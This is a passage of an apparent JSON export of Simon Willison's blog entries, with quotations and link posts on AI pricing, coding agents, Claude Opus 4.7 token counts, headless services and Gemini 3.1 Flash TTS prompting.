'itself':339C 'jetbrains':350C 'judging':312C 'just':160C 'kerfuffle':40C 'key':98C 'last':211C,275C 'latest':53C 'less':173C 'like':206C 'limits':73C,148C,243C 'linked':315C 'llm':18B,165C 'llm-pricing':17B 'llms':16B 'long':110C 'long-running':109C 'lot':179C 'magnitude':172C 'maintain':151C 'many':279C 'mapped':287C 'margins':230C 'means':217C 'microsoft':8B,282C 'models':95C 'moment':43C 'month':212C,276C 'months':162C 'more':85C,118C,140C,143C,224C,352C 'most':232C 'my':252C 'named':284C 'news':355C 'not':195C 'now':114C 'of':171C,180C,304C 'official':64C 'on':23C,54C,244C,334C 'one':253C,289C 'operated':202C 'opus':81C,94C 'order':170C 'original':122C 'page':319C 'paragraph':99C 'parallelized':112C 'pausing':74C 'per':193C,197C,247C 'per-request':192C 'per-session':246C 'per-token':196C 'plan':89C,123C 'plans':6A,78C,318C 'previous':93C 'pricing':19B,57C,234C 'pro':88C 'problem':254C 'product':266C 'products':280C,297C 'put':61C 'rapidly':136C 'recent':233C 'regularly':115C 'reliability':153C 'request':194C 'requests':221C 'resources':119C 'restricting':79C 'review':332C 'running':111C 's':30C,51C,106C,131C,155C 'same':25C 'scheme':235C 'service':152C 'session':248C 'sessions':113C 'share':299C 'signups':75C 'simonwillison.net':48C 'simonwillison.net/2026/apr/22/claude-code-confusion/#they-reversed-it)),':47C 'single':219C 'six':161C 'structure':124C 'support':128C 'system':205C 't':37C,46C,262C 't-they':36C 'temporary':31C 'tey':293C 'teybannerman.com':291C 'teybannerman.com/strategy/2026/03/31/how-many-microsoft-copilot-are-there.html)':290C 'than':120C 'that':159C,218C,237C,259C,298C 'the':24C,42C,52C,84C,92C,97C,121C,231C,300C,310C,314C,341C 'their':67C,229C 'these':273C 'they':34C,38C,44C,209C 'this':207C,216C,256C,323C 'tightening':71C 'title':311C 'to':2A,83C,127C,150C,157C 'token':198C,240C 'token-based':239C 'tokens':174C,225C 'unique':185C 'unlike':58C 'up':62C 'usage':72C,147C,242C 'users':166C 'vs':347C 'was':125C,183C 'weekly':250C 'were':167C 'which':69C,208C,222C,265C,305C 'will':33C 'will-they-won':32C 'windsurf':200C 'windsurf.com':214C 'windsurf.com/blog/windsurf-pricing-plans)*.)':213C 'with':238C,255C 'won':35C,45C 'work':141C 'workflows':101C 'zed':349C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
quotation 2026-04-21 16:39:33+00:00
{
  "id": 2141,
  "slug": "andreas-pahlsson-notini",
  "quotation": "AI agents are already too human. Not in the romantic sense, not because they love or fear or dream, but in the more banal and frustrating one. The current implementations keep showing their human origin again and again: lack of stringency, lack of patience, lack of focus. Faced with an awkward task, they drift towards the familiar. Faced with hard constraints, they start negotiating with reality.",
  "source": "Andreas P\u00e5hlsson-Notini",
  "source_url": "https://nial.se/blog/less-human-ai-agents-please/",
  "created": "2026-04-21T16:39:33+00:00",
  "metadata": {},
  "search_document": "'again':36A,38A 'agents':2A,70B,73B 'ai':1A,67B,69B 'ai-agents':68B 'already':4A 'an':50A 'and':25A,37A 'andreas':74C 'are':3A 'awkward':51A 'banal':24A 'because':13A 'but':20A 'coding':72B 'coding-agents':71B 'constraints':61A 'current':29A 'dream':19A 'drift':54A 'faced':48A,58A 'familiar':57A 'fear':17A 'focus':47A 'frustrating':26A 'hard':60A 'human':6A,34A 'implementations':30A 'in':8A,21A 'keep':31A 'lack':39A,42A,45A 'love':15A 'more':23A 'negotiating':64A 'not':7A,12A 'notini':77C 'of':40A,43A,46A 'one':27A 'or':16A,18A 'origin':35A 'patience':44A 'p\u00e5hlsson':76C 'p\u00e5hlsson-notini':75C 'reality':66A 'romantic':10A 'sense':11A 'showing':32A 'start':63A 'stringency':41A 'task':52A 'the':9A,22A,28A,56A 'their':33A 'they':14A,53A,62A 'too':5A 'towards':55A 'with':49A,59A,65A",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "is_draft": false,
  "context": "Less human AI agents, please."
}
blogmark 2026-04-21 15:54:43+00:00
{
  "id": 9418,
  "slug": "scosman",
  "link_url": "https://github.com/scosman/pelicans_riding_bicycles",
  "link_title": "scosman/pelicans_riding_bicycles",
  "via_url": "https://news.ycombinator.com/item?id=47835735#47839493",
  "via_title": "Hacker News comment",
  "commentary": "I firmly approve of Steve Cosman's efforts to pollute the training set of pelicans riding bicycles.\r\n\r\n![The heading says \"Pelican Riding a Bicycle #1 - the image is a bear on a snowboard](https://static.simonwillison.net/static/2026/pelican-poison-bear.jpg)\r\n\r\n(To be fair, most of the examples [I've published](https://simonwillison.net/tags/pelican-riding-a-bicycle/) count as poisoning too.)",
  "created": "2026-04-21T15:54:43+00:00",
  "metadata": {},
  "search_document": "'/static/2026/pelican-poison-bear.jpg)':50C '/tags/pelican-riding-a-bicycle/)':63C '1':39C 'a':13B,37C,43C,46C 'ai':2B,5B 'approve':17C 'as':65C 'be':52C 'bear':44C 'bicycle':14B,38C 'bicycles':31C 'comment':71C 'cosman':20C 'count':64C 'data':9B 'efforts':22C 'examples':57C 'fair':53C 'firmly':16C 'generative':4B 'generative-ai':3B 'github.com':68C 'hacker':69C 'heading':33C 'i':15C,58C 'image':41C 'is':42C 'llms':6B 'most':54C 'news':70C 'of':18C,28C,55C 'on':45C 'pelican':11B,35C 'pelican-riding-a-bicycle':10B 'pelicans':29C 'poisoning':66C 'pollute':24C 'published':60C 'riding':12B,30C,36C 's':21C 'says':34C 'scosman/pelicans_riding_bicycles':1A 'set':27C 'simonwillison.net':62C 'simonwillison.net/tags/pelican-riding-a-bicycle/)':61C 'snowboard':47C 'static.simonwillison.net':49C 'static.simonwillison.net/static/2026/pelican-poison-bear.jpg)':48C 'steve':19C 'the':25C,32C,40C,56C 'to':23C,51C 'too':67C 'training':8B,26C 'training-data':7B 've':59C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
blogmark 2026-04-20 00:50:45+00:00
{
  "id": 9417,
  "slug": "claude-token-counts",
  "link_url": "https://tools.simonwillison.net/claude-token-counter",
  "link_title": "Claude Token Counter, now with model comparisons",
  "via_url": null,
  "via_title": null,
  "commentary": "I [upgraded](https://github.com/simonw/tools/pull/269) my Claude Token Counter tool to add the ability to run the same count against different models in order to compare them.\r\n\r\nAs far as I can tell Claude Opus 4.7 is the first model to change the tokenizer, so it's only worth running comparisons between 4.7 and 4.6. The Claude [token counting API](https://platform.claude.com/docs/en/build-with-claude/token-counting) accepts any Claude model ID though so I've included options for all four of the notable current models (Opus 4.7 and 4.6, Sonnet 4.6, and Haiku 4.5).\r\n\r\nIn the Opus 4.7 announcement [Anthropic said](https://www.anthropic.com/news/claude-opus-4-7#migrating-from-opus-46-to-opus-47):\r\n\r\n> Opus 4.7 uses an updated tokenizer that improves how the model processes text. The tradeoff is that the same input can map to more tokens\u2014roughly 1.0\u20131.35\u00d7 depending on the content type.\r\n\r\nI pasted the [Opus 4.7 system prompt](https://github.com/simonw/research/blob/2cf912666ba08ef0c00a1b51ee07c9a8e64579ef/extract-system-prompts/claude-opus-4-7.md?plain=1) into the token counting tool and found that the Opus 4.7 tokenizer used 1.46x the number of tokens as Opus 4.6.\r\n\r\n![Screenshot of a token comparison tool. Models to compare: claude-opus-4-7 (checked), claude-opus-4-6 (checked), claude-opus-4-5, claude-sonnet-4-6, claude-haiku-4-5. Note: \"These models share the same tokenizer\". Blue \"Count Tokens\" button. Results table \u2014 Model | Tokens | vs. lowest. claude-opus-4-7: 7,335 tokens, 1.46x (yellow badge). claude-opus-4-6: 5,039 tokens, 1.00x (green badge).](https://static.simonwillison.net/static/2026/claude-token-count.jpg)\r\n\r\nOpus 4.7 uses the same pricing is Opus 4.6 - $5 per million input tokens and $25 per million output tokens - but this token inflation means we can expect it to be around 40% more expensive.\r\n\r\nThe token counter tool also accepts images. Opus 4.7 has improved image support, described like this:\r\n\r\n> Opus 4.7 has better vision for high-resolution images: it can accept images up to 2,576 pixels on the long edge (~3.75 megapixels), more than three times as many as prior Claude models.\r\n\r\nI tried counting tokens for a 3456x2234 pixel 3.7MB PNG and got an even bigger increase in token counts - 3.01x times the number of tokens for 4.7 compared to 4.6:\r\n\r\n![Same UI, this time with an uploaded screenshot PNG image. claude-opus-4-7: 4,744 tokens, 3.01x (yellow badge). claude-opus-4-6: 1,578 tokens, 1.00x (green badge).](https://static.simonwillison.net/static/2026/claude-token-count-image.jpg)\r\n\r\n**Update**: That 3x increase for images is *entirely* due to Opus 4.7 being able to handle higher resolutions. I tried that again with a 682x318 pixel image and it took 314 tokens with Opus 4.7 and 310 with Opus 4.6, so effectively the same cost.\r\n\r\n**Update 2**: I tried a 15MB, 30 page text-heavy PDF and Opus 4.7 reported 60,934\ttokens while 4.6 reported 56,482 - that's a 1.08x multiplier, significantly lower than the multiplier I got for raw text.",
  "created": "2026-04-20T00:50:45+00:00",
  "metadata": {},
  "search_document": "'-5':210C,220C '-6':204C,215C,254C,409C '-7':198C,242C,397C '/docs/en/build-with-claude/token-counting)':81C '/news/claude-opus-4-7#migrating-from-opus-46-to-opus-47):':119C '/simonw/research/blob/2cf912666ba08ef0c00a1b51ee07c9a8e64579ef/extract-system-prompts/claude-opus-4-7.md?plain=1)':162C '/simonw/tools/pull/269)':23C '/static/2026/claude-token-count-image.jpg)':419C '/static/2026/claude-token-count.jpg)':264C '039':256C '1':410C '1.0':146C '1.00':258C,413C '1.08':492C '1.35':147C '1.46':176C,246C '15mb':470C '2':332C,466C '25':280C '3.01':371C,401C '3.7':359C '3.75':339C '30':471C '310':456C '314':450C '335':244C '3456x2234':357C '3x':422C '4':197C,203C,209C,214C,219C,241C,253C,396C,398C,408C '4.5':109C '4.6':73C,104C,106C,184C,273C,382C,459C,485C '4.7':54C,71C,102C,113C,121C,157C,173C,266C,308C,317C,379C,431C,454C,479C '40':297C '482':488C '5':255C,274C '56':487C '576':333C '578':411C '60':481C '682x318':444C '7':243C '744':399C '934':482C 'a':187C,356C,443C,469C,491C 'ability':32C 'able':433C 'accept':328C 'accepts':82C,305C 'add':30C 'again':441C 'against':38C 'ai':8B,11B 'all':94C 'also':304C 'an':123C,364C,388C 'and':72C,103C,107C,168C,279C,362C,447C,455C,477C 'announcement':114C 'anthropic':13B,115C 'any':83C 'api':78C 'around':296C 'as':46C,48C,182C,345C,347C 'badge':249C,261C,404C,416C 'be':295C 'being':432C 'better':319C 'between':70C 'bigger':366C 'blue':228C 'but':285C 'button':231C 'can':50C,140C,291C,327C 'change':60C 'checked':199C,205C 'claude':1A,14B,25C,52C,75C,84C,195C,201C,207C,212C,217C,239C,251C,349C,394C,406C 'claude-haiku':216C 'claude-opus':194C,200C,206C,238C,250C,393C,405C 'claude-sonnet':211C 'compare':44C,193C 'compared':380C 'comparison':189C 'comparisons':7A,69C 'content':151C 'cost':464C 'count':37C,229C 'counter':3A,27C,302C 'counting':77C,166C,353C 'counts':370C 'current':99C 'depending':148C 'described':313C 'different':39C 'due':428C 'edge':338C 'effectively':461C 'entirely':427C 'even':365C 'expect':292C 'expensive':299C 'far':47C 'first':57C 'for':93C,321C,355C,378C,424C,502C 'found':169C 'four':95C 'generative':10B 'generative-ai':9B 'github.com':22C,161C 'github.com/simonw/research/blob/2cf912666ba08ef0c00a1b51ee07c9a8e64579ef/extract-system-prompts/claude-opus-4-7.md?plain=1)':160C 'github.com/simonw/tools/pull/269)':21C 'got':363C,501C 'green':260C,415C 'haiku':108C,218C 'handle':435C 'has':309C,318C 'heavy':475C 'high':323C 'high-resolution':322C 'higher':436C 'how':128C 'i':19C,49C,89C,153C,351C,438C,467C,500C 'id':86C 'image':311C,392C,446C 'images':306C,325C,329C,425C 'improved':310C 'improves':127C 'in':41C,110C,368C 'included':91C 'increase':367C,423C 'inflation':288C 'input':139C,277C 'into':163C 'is':55C,135C,271C,426C 'it':64C,293C,326C,448C 'like':314C 'llm':16B 'llm-pricing':15B 'llms':12B 'long':337C 'lower':496C 'lowest':237C 'many':346C 'map':141C 'mb':360C 'means':289C 'megapixels':340C 'million':276C,282C 'model':6A,58C,85C,130C,234C 'models':40C,100C,191C,223C,350C 'more':143C,298C,341C 'multiplier':494C,499C 'my':24C 'notable':98C 'note':221C 'now':4A 'number':179C,375C 'of':96C,180C,186C,376C 'on':149C,335C 'only':66C 'options':92C 'opus':53C,101C,112C,120C,156C,172C,183C,196C,202C,208C,240C,252C,265C,272C,307C,316C,395C,407C,430C,453C,458C,478C 'order':42C 'output':283C 'page':472C 'pasted':154C 'pdf':476C 'per':275C,281C 'pixel':358C,445C 'pixels':334C 'platform.claude.com':80C 'platform.claude.com/docs/en/build-with-claude/token-counting)':79C 'png':361C,391C 'pricing':17B,270C 'prior':348C 'processes':131C 'prompt':159C 'raw':503C 'reported':480C,486C 'resolution':324C 'resolutions':437C 'results':232C 'roughly':145C 'run':34C 'running':68C 's':65C,490C 'said':116C 'same':36C,138C,226C,269C,383C,463C 'screenshot':185C,390C 'share':224C 'significantly':495C 'so':63C,88C,460C 'sonnet':105C,213C 'static.simonwillison.net':263C,418C 'static.simonwillison.net/static/2026/claude-token-count-image.jpg)':417C 'static.simonwillison.net/static/2026/claude-token-count.jpg)':262C 'support':312C 'system':158C 'table':233C 'tell':51C 'text':132C,474C,504C 'text-heavy':473C 'than':342C,497C 'that':126C,136C,170C,421C,440C,489C 'the':31C,35C,56C,61C,74C,97C,111C,129C,133C,137C,150C,155C,164C,171C,178C,225C,268C,300C,336C,374C,462C,498C 'them':45C 'these':222C 'this':286C,315C,385C 'though':87C 'three':343C 'time':386C 'times':344C,373C 'to':29C,33C,43C,59C,142C,192C,294C,331C,381C,429C,434C 'token':2A,26C,76C,165C,188C,287C,301C,369C 'tokenization':18B 'tokenizer':62C,125C,174C,227C 'tokens':144C,181C,230C,235C,245C,257C,278C,284C,354C,377C,400C,412C,451C,483C 'took':449C 'tool':28C,167C,190C,303C 'tools.simonwillison.net':505C 'tradeoff':134C 'tried':352C,439C,468C 'type':152C 'ui':384C 'up':330C 'update':420C,465C 'updated':124C 'upgraded':20C 'uploaded':389C 'used':175C 'uses':122C,267C 've':90C 'vision':320C 'vs':236C 'we':290C 'while':484C 'with':5A,387C,442C,452C,457C 'worth':67C 'www.anthropic.com':118C 'www.anthropic.com/news/claude-opus-4-7#migrating-from-opus-46-to-opus-47):':117C 'x':177C,247C,259C,372C,402C,414C,493C 'yellow':248C,403C",
  "import_ref": null,
  "card_image": "https://static.simonwillison.net/static/2026/claude-token-card.jpg",
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
blogmark 2026-04-19 21:46:38+00:00
{
  "id": 9416,
  "slug": "headless-everything",
  "link_url": "https://interconnected.org/home/2026/04/18/headless",
  "link_title": "Headless everything for personal AI",
  "via_url": null,
  "via_title": null,
  "commentary": "Matt Webb thinks **headless** services are about to become much more common:\r\n\r\n> Why? Because using personal AIs is a better experience for users than using services directly (honestly); and headless services are quicker and more dependable for the personal AIs than having them click round a GUI with a bot-controlled mouse.\r\n\r\nEvidently [Marc Benioff thinks so too](https://twitter.com/benioff/status/2044981547267395620):\r\n\r\n> Welcome Salesforce Headless 360: No Browser Required!  Our API is the UI. Entire Salesforce & Agentforce & Slack platforms are now exposed as APIs, MCP, & CLI. All AI agents can access data, workflows, and tasks directly in Slack, Voice, or anywhere else with Salesforce Headless.\r\n\r\nIf this model does take off it's going to play havoc with existing per-head SaaS pricing schemes.\r\n\r\nI'm reminded of the early 2010s era when every online service was launching APIs. Brandur Leach reminisces about that time in [The Second Wave of the API-first Economy](https://brandur.org/second-wave-api-first), and predicts that APIs are ready to make a comeback:\r\n\r\n> Suddenly, an API is no longer liability, but a major saleable vector to give users what they want: a way into the services they use and pay for so that an agent can carry out work on their behalf. Especially given a field of relatively undifferentiated products, in the near future the availability of an API might just be the crucial deciding factor that leads to one choice winning the field.",
  "created": "2026-04-19T21:46:38+00:00",
  "metadata": {},
  "search_document": "'/benioff/status/2044981547267395620):':78C '/second-wave-api-first),':175C '2010s':148C '360':82C 'a':35C,62C,65C,184C,194C,204C,227C 'about':23C,160C 'access':107C 'agent':217C 'agentforce':93C 'agents':105C 'ai':5A,13B,104C 'ais':33C,56C 'all':103C 'an':187C,216C,240C 'and':45C,50C,110C,176C,211C 'anywhere':117C 'api':87C,170C,188C,241C 'api-first':169C 'apis':6B,100C,156C,179C 'are':22C,48C,96C,180C 'as':99C 'availability':238C 'be':244C 'because':30C 'become':25C 'behalf':224C 'benioff':72C 'better':36C 'bot':67C 'bot-controlled':66C 'brandur':15B,157C 'brandur-leach':14B 'brandur.org':174C 'brandur.org/second-wave-api-first),':173C 'browser':84C 'but':193C 'can':106C,218C 'carry':219C 'choice':253C 'cli':102C 'click':60C 'comeback':185C 'common':28C 'controlled':68C 'crucial':246C 'data':108C 'deciding':247C 'definitions':7B 'dependable':52C 'directly':43C,112C 'does':125C 'early':147C 'economy':172C 'else':118C 'entire':91C 'era':149C 'especially':225C 'every':151C 'everything':2A 'evidently':70C 'existing':135C 'experience':37C 'exposed':98C 'factor':248C 'field':228C,256C 'first':171C 'for':3A,38C,53C,213C 'future':236C 'give':199C 'given':226C 'going':130C 'gui':63C 'having':58C 'havoc':133C 'head':138C 'headless':1A,20C,46C,81C,121C 'honestly':44C 'i':142C 'if':122C 'in':113C,163C,233C 'interconnected.org':257C 'into':206C 'is':34C,88C,189C 'it':128C 'just':243C 'launching':155C 'leach':16B,158C 'leads':250C 'liability':192C 'longer':191C 'm':143C 'major':195C 'make':183C 'marc':71C 'matt':9B,17C 'matt-webb':8B 'mcp':101C 'might':242C 'model':124C 'more':27C,51C 'mouse':69C 'much':26C 'near':235C 'no':83C,190C 'now':97C 'of':145C,167C,229C,239C 'off':127C 'on':222C 'one':252C 'online':152C 'or':116C 'our':86C 'out':220C 'pay':212C 'per':137C 'per-head':136C 'personal':4A,32C,55C 'platforms':95C 'play':132C 'predicts':177C 'pricing':140C 'products':232C 'quicker':49C 'ready':181C 'relatively':230C 'reminded':144C 'reminisces':159C 'required':85C 'round':61C 's':129C 'saas':12B,139C 'saleable':196C 'salesforce':11B,80C,92C,120C 'schemes':141C 'second':165C 'service':153C 'services':21C,42C,47C,208C 'slack':94C,114C 'so':74C,214C 'suddenly':186C 'take':126C 'tasks':111C 'than':40C,57C 'that':161C,178C,215C,249C 'the':54C,89C,146C,164C,168C,207C,234C,237C,245C,255C 'their':223C 'them':59C 'they':202C,209C 'thinks':19C,73C 'this':123C 'time':162C 'to':24C,131C,182C,198C,251C 'too':75C 'twitter.com':77C 'twitter.com/benioff/status/2044981547267395620):':76C 'ui':90C 'undifferentiated':231C 'use':210C 'users':39C,200C 'using':31C,41C 'vector':197C 'voice':115C 'want':203C 'was':154C 'wave':166C 'way':205C 'webb':10B,18C 'welcome':79C 'what':201C 'when':150C 'why':29C 'winning':254C 'with':64C,119C,134C 'work':221C 'workflows':109C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
quotation 2026-04-15 17:13:57+00:00
{
  "id": 2140,
  "slug": "john-gruber",
  "quotation": "The real goldmine isn\u2019t that Apple gets a cut of every App Store transaction. It\u2019s that Apple\u2019s platforms have the best apps, and users who are drawn to the best apps are thus drawn to the iPhone, Mac, and iPad. That edge is waning. Not because software on other platforms is getting better, but because third-party software on iPhone, Mac, and iPad is regressing to the mean, *to some extent*, because fewer developers feel motivated\u2009\u2014\u2009artistically, financially, or both\u2009\u2014\u2009to create well-crafted idiomatic native apps exclusively for Apple\u2019s platforms.",
  "source": "John Gruber",
  "source_url": "https://daringfireball.net/2026/04/piece_android_iphone_apps",
  "created": "2026-04-15T17:13:57+00:00",
  "metadata": {},
  "search_document": "'a':9A 'and':26A,42A,66A 'app':13A 'apple':7A,19A,95A,98B 'apps':25A,34A,92A 'are':29A,35A 'artistically':81A 'because':49A,58A,76A 'best':24A,33A 'better':56A 'both':84A 'but':57A 'crafted':89A 'create':86A 'cut':10A 'developers':78A 'drawn':30A,37A 'edge':45A 'every':12A 'exclusively':93A 'extent':75A 'feel':79A 'fewer':77A 'financially':82A 'for':94A 'gets':8A 'getting':55A 'goldmine':3A 'gruber':101B,103C 'have':22A 'idiomatic':90A 'ipad':43A,67A 'iphone':40A,64A 'is':46A,54A,68A 'isn':4A 'it':16A 'john':100B,102C 'john-gruber':99B 'mac':41A,65A 'mean':72A 'motivated':80A 'native':91A 'not':48A 'of':11A 'on':51A,63A 'or':83A 'other':52A 'party':61A 'platforms':21A,53A,97A 'real':2A 'regressing':69A 's':17A,20A,96A 'software':50A,62A 'some':74A 'store':14A 't':5A 'that':6A,18A,44A 'the':1A,23A,32A,39A,71A 'third':60A 'third-party':59A 'thus':36A 'to':31A,38A,70A,73A,85A 'transaction':15A 'users':27A 'waning':47A 'well':88A 'well-crafted':87A 'who':28A",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "is_draft": false,
  "context": null
}
blogmark 2026-04-15 17:13:14+00:00
{
  "id": 9415,
  "slug": "gemini-31-flash-tts",
  "link_url": "https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-1-flash-tts/",
  "link_title": "Gemini 3.1 Flash TTS",
  "via_url": null,
  "via_title": null,
  "commentary": "Google released Gemini 3.1 Flash TTS today, a new text-to-speech model that can be directed using prompts.\r\n\r\nIt's presented via the standard Gemini API using `gemini-3.1-flash-tts-preview` as the model ID, but can only output audio files.\r\n\r\nThe [prompting guide](https://ai.google.dev/gemini-api/docs/speech-generation#transcript-tags) is surprising, to say the least. Here's their example prompt to generate just a few short sentences of audio:\r\n\r\n    # AUDIO PROFILE: Jaz R.\r\n    ## \"The Morning Hype\"\r\n    \r\n    ## THE SCENE: The London Studio\r\n    It is 10:00 PM in a glass-walled studio overlooking the moonlit London skyline, but inside, it is blindingly bright. The red \"ON AIR\" tally light is blazing. Jaz is standing up, not sitting, bouncing on the balls of their heels to the rhythm of a thumping backing track. Their hands fly across the faders on a massive mixing desk. It is a chaotic, caffeine-fueled cockpit designed to wake up an entire nation.\r\n    \r\n    ### DIRECTOR'S NOTES\r\n    Style:\r\n    * The \"Vocal Smile\": You must hear the grin in the audio. The soft palate is always raised to keep the tone bright, sunny, and explicitly inviting.\r\n    * Dynamics: High projection without shouting. Punchy consonants and elongated vowels on excitement words (e.g., \"Beauuutiful morning\").\r\n    \r\n    Pace: Speaks at an energetic pace, keeping up with the fast music.  Speaks with A \"bouncing\" cadence. High-speed delivery with fluid transitions \u2014 no dead air, no gaps.\r\n    \r\n    Accent: Jaz is from Brixton, London\r\n    \r\n    ### SAMPLE CONTEXT\r\n    Jaz is the industry standard for Top 40 radio, high-octane event promos, or any script that requires a charismatic Estuary accent and 11/10 infectious energy.\r\n    \r\n    #### TRANSCRIPT\r\n    [excitedly] Yes, massive vibes in the studio! You are locked in and it is absolutely popping off in London right now. If you're stuck on the tube, or just sat there pretending to work... stop it. Seriously, I see you.\r\n    [shouting] Turn this up! We've got the project roadmap landing in three, two... let's go!\r\n\r\nHere's what I got using that example prompt:\r\n\r\n<audio controls style=\"width: 100%\">\r\n  <source src=\"https://static.simonwillison.net/static/2026/gemini-flash-tts-london.wav\" type=\"audio/wav\">\r\n  Your browser does not support the audio element.\r\n</audio>\r\n\r\nThen I modified it to say \"Jaz is from Newcastle\" and \"... requires a charismatic Newcastle accent\" and got this result:\r\n\r\n<audio controls style=\"width: 100%\">\r\n  <source src=\"https://static.simonwillison.net/static/2026/gemini-flash-tts-newcastle.wav\" type=\"audio/wav\">\r\n  Your browser does not support the audio element.\r\n</audio>\r\n\r\nHere's Exeter, Devon for good measure:\r\n\r\n<audio controls style=\"width: 100%\">\r\n  <source src=\"https://static.simonwillison.net/static/2026/gemini-flash-tts-devon.wav\" type=\"audio/wav\">\r\n  Your browser does not support the audio element.\r\n</audio>\r\n\r\nI [had Gemini 3.1 Pro](https://gemini.google.com/share/dd0fba5a83c4) vibe code [this UI for trying it out](https://tools.simonwillison.net/gemini-flash-tts):\r\n\r\n![Screenshot of a \"Gemini 3.1 Flash TTS\" web application interface. At the top is an \"API Key\" field with a masked password. Below is a \"TTS Mode\" section with a dropdown set to \"Multi-Speaker (Conversation)\". \"Speaker 1 Name\" is set to \"Joe\" with \"Speaker 1 Voice\" set to \"Puck (Upbeat)\". \"Speaker 2 Name\" is set to \"Jane\" with \"Speaker 2 Voice\" set to \"Kore (Firm)\". Under \"Script / Prompt\" is a tip reading \"Tip: Format your text as a script using the Exact Speaker Names defined above.\" The script text area contains \"TTS the following conversation between Joe and Jane:\\n\\nJoe: How's it going today Jane?\\nJane: \\[yawn\\] Not too bad, how about you?\" A blue \"Generate Audio\" button is below. At the bottom is a \"Success!\" message with an audio player showing 00:00 / 00:06 and a \"Download WAV\" link.](https://static.simonwillison.net/static/2026/gemini-flash-tts.jpg)",
  "created": "2026-04-15T17:13:14+00:00",
  "metadata": {},
  "search_document": "'-3.1':56C '/gemini-api/docs/speech-generation#transcript-tags)':76C '/gemini-flash-tts):':433C '/share/dd0fba5a83c4)':422C '/static/2026/gemini-flash-tts.jpg)':581C '00':112C,570C,571C,572C '06':573C '1':472C,480C '10':111C '11/10':293C '2':487C,495C '3.1':2A,29C,418C,438C '40':276C 'a':33C,91C,115C,156C,167C,173C,246C,288C,384C,436C,453C,458C,463C,505C,513C,551C,562C,575C 'about':549C 'above':521C 'absolutely':311C 'accent':261C,291C,387C 'across':163C 'ai':11B,17B 'ai.google.dev':75C 'ai.google.dev/gemini-api/docs/speech-generation#transcript-tags)':74C 'air':134C,258C 'always':205C 'an':183C,235C,448C,566C 'and':213C,223C,292C,308C,382C,388C,533C,574C 'any':284C 'api':53C,449C 'application':442C 'are':305C 'area':525C 'as':61C,512C 'at':234C,444C,558C 'audio':69C,96C,97C,200C,370C,398C,413C,554C,567C 'backing':158C 'bad':547C 'balls':148C 'be':42C 'beauuutiful':230C 'below':456C,557C 'between':531C 'blazing':138C 'blindingly':129C 'blog.google':582C 'blue':552C 'bottom':560C 'bouncing':145C,247C 'bright':130C,211C 'brixton':265C 'browser':365C,393C,408C 'but':65C,125C 'button':555C 'cadence':248C 'caffeine':176C 'caffeine-fueled':175C 'can':41C,66C 'chaotic':174C 'charismatic':289C,385C 'cockpit':178C 'code':424C 'coding':25B 'consonants':222C 'contains':526C 'context':268C 'conversation':470C,530C 'dead':257C 'defined':520C 'delivery':252C 'designed':179C 'desk':170C 'devon':403C 'directed':43C 'director':186C 'does':366C,394C,409C 'download':576C 'dropdown':464C 'dynamics':216C 'e.g':229C 'element':371C,399C,414C 'elongated':224C 'energetic':236C 'energy':295C 'engineering':14B 'entire':184C 'estuary':290C 'event':281C 'exact':517C 'example':86C,362C 'excitedly':297C 'excitement':227C 'exeter':402C 'explicitly':214C 'faders':165C 'fast':242C 'few':92C 'field':451C 'files':70C 'firm':500C 'flash':3A,30C,58C,439C 'flash-tts-preview':57C 'fluid':254C 'fly':162C 'following':529C 'for':274C,404C,427C 'format':509C 'from':264C,380C 'fueled':177C 'gaps':260C 'gemini':1A,19B,28C,52C,55C,417C,437C 'gemini.google.com':421C 'gemini.google.com/share/dd0fba5a83c4)':420C 'generate':89C,553C 'generative':16B 'generative-ai':15B 'glass':117C 'glass-walled':116C 'go':354C 'going':540C 'good':405C 'google':5B,26C 'got':344C,359C,389C 'grin':197C 'guide':73C 'had':416C 'hands':161C 'hear':195C 'heels':151C 'here':83C,355C,400C 'high':217C,250C,279C 'high-octane':278C 'high-speed':249C 'how':537C,548C 'hype':103C 'i':335C,358C,373C,415C 'id':64C 'if':318C 'in':114C,198C,301C,307C,314C,349C 'industry':272C 'infectious':294C 'inside':126C 'interface':443C 'inviting':215C 'is':77C,110C,128C,137C,140C,172C,204C,263C,270C,310C,379C,447C,457C,474C,489C,504C,556C,561C 'it':46C,109C,127C,171C,309C,333C,375C,429C,539C 'jane':492C,534C,542C 'jaz':99C,139C,262C,269C,378C 'joe':477C,532C 'just':90C,326C 'keep':208C 'keeping':238C 'key':450C 'kore':499C 'landing':348C 'least':82C 'let':352C 'light':136C 'link':578C 'llm':21B 'llm-release':20B 'llms':18B 'locked':306C 'london':107C,123C,266C,315C 'masked':454C 'massive':168C,299C 'measure':406C 'message':564C 'mixing':169C 'mode':460C 'model':39C,63C 'modified':374C 'moonlit':122C 'morning':102C,231C 'multi':468C 'multi-speaker':467C 'music':243C 'must':194C 'n':535C 'name':473C,488C 'names':519C 'nation':185C 'new':34C 'newcastle':381C,386C 'njane':543C 'njoe':536C 'no':256C,259C 'not':143C,367C,395C,410C,545C 'notes':188C 'now':317C 'octane':280C 'of':95C,149C,155C,435C 'off':313C 'on':133C,146C,166C,226C,322C 'only':67C 'or':283C,325C 'out':430C 'output':68C 'overlooking':120C 'pace':232C,237C 'palate':203C 'password':455C 'player':568C 'pm':113C 'popping':312C 'presented':48C 'pretending':329C 'preview':60C 'pro':419C 'profile':98C 'project':346C 'projection':218C 'promos':282C 'prompt':13B,87C,363C,503C 'prompt-engineering':12B 'prompting':72C 'prompts':45C 'puck':484C 'punchy':221C 'r':100C 'radio':277C 'raised':206C 're':320C 'reading':507C 'red':132C 'release':22B 'released':27C 'requires':287C,383C 'result':391C 'rhythm':154C 'right':316C 'roadmap':347C 's':47C,84C,187C,353C,356C,401C,538C 'sample':267C 'sat':327C 'say':80C,377C 'scene':105C 'screenshot':434C 'script':285C,502C,514C,523C 'section':461C 'see':336C 'sentences':94C 'seriously':334C 'set':465C,475C,482C,490C,497C 'short':93C 'shouting':220C,338C 'showing':569C 'sitting':144C 'skyline':124C 'smile':192C 'soft':202C 'speaker':469C,471C,479C,486C,494C,518C 'speaks':233C,244C 'speech':9B,38C 